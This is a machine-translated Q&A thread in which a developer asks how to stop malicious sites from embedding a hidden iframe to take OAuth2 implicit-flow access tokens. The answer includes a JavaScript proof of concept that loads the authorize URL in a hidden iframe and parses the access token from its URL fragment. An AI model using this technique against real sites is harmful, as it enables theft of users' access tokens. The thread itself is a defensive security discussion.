如何保护来自iframe的Oauth2隐式流

时间:2014-08-28 06:58:35

标签: security iframe oauth oauth-2.0

我正在使用Oauth2 implicit flow来保护单页应用程序& Rest API。

如果您不熟悉oauth2隐式流程,请快速浏览:

我们正在使用隐藏的iframe&小javascript访问令牌& (实际上,只要用户登录授权服务器,就会获得新令牌)到期时。

现在,恶意网站看起来很容易包含相同的iframe,如果用户已登录,则只需从哈希片段中检索访问令牌。

我看过X-Frame-Options他们无法阻止重定向,只能防止在内部呈现内容。但是我们的令牌位于已经到达浏览器的url片段上。

由于这是我们的“自己的”应用程序,我们跳过了用户的批准步骤,只要redirect_uri匹配&用户登录。可能这个人也更多地牺牲了我们的安全性。

这看起来像是一个不可接受的安全漏洞,有什么建议吗?

1 个答案:

答案 0 :(得分:0)

我遇到同样的问题..在查看您的来源并提取您发送的参数后,恶意用户可以这样做:

        var uri = addQueryString(authorizeUri, {
            'client_id': '11',
            'redirect_uri': returnUri,
            'state': nonce,
            'scope': 'bio notes',
            'response_type': 'token',
        });

        console.log(uri);
        $('body').append(`<iframe src="${uri}"/>`);

        $('iframe').css({
            'display' : 'none'
        })

        $('iframe')[0].addEventListener("load", function () {
            var uriWithToken = $('iframe')[0].contentWindow.location.href;

            token = uriWithToken.split('access_token')[1].split("=")[1];
            expires = uriWithToken.split('expires_in')[1].split("=")[1];

            console.log(uriWithToken);
            console.log("TOKEN = " + token);
            console.log("EXPIRES = " + expires);
            $('iframe').remove();
        });

非常感谢你的遗嘱让我感到不舒服......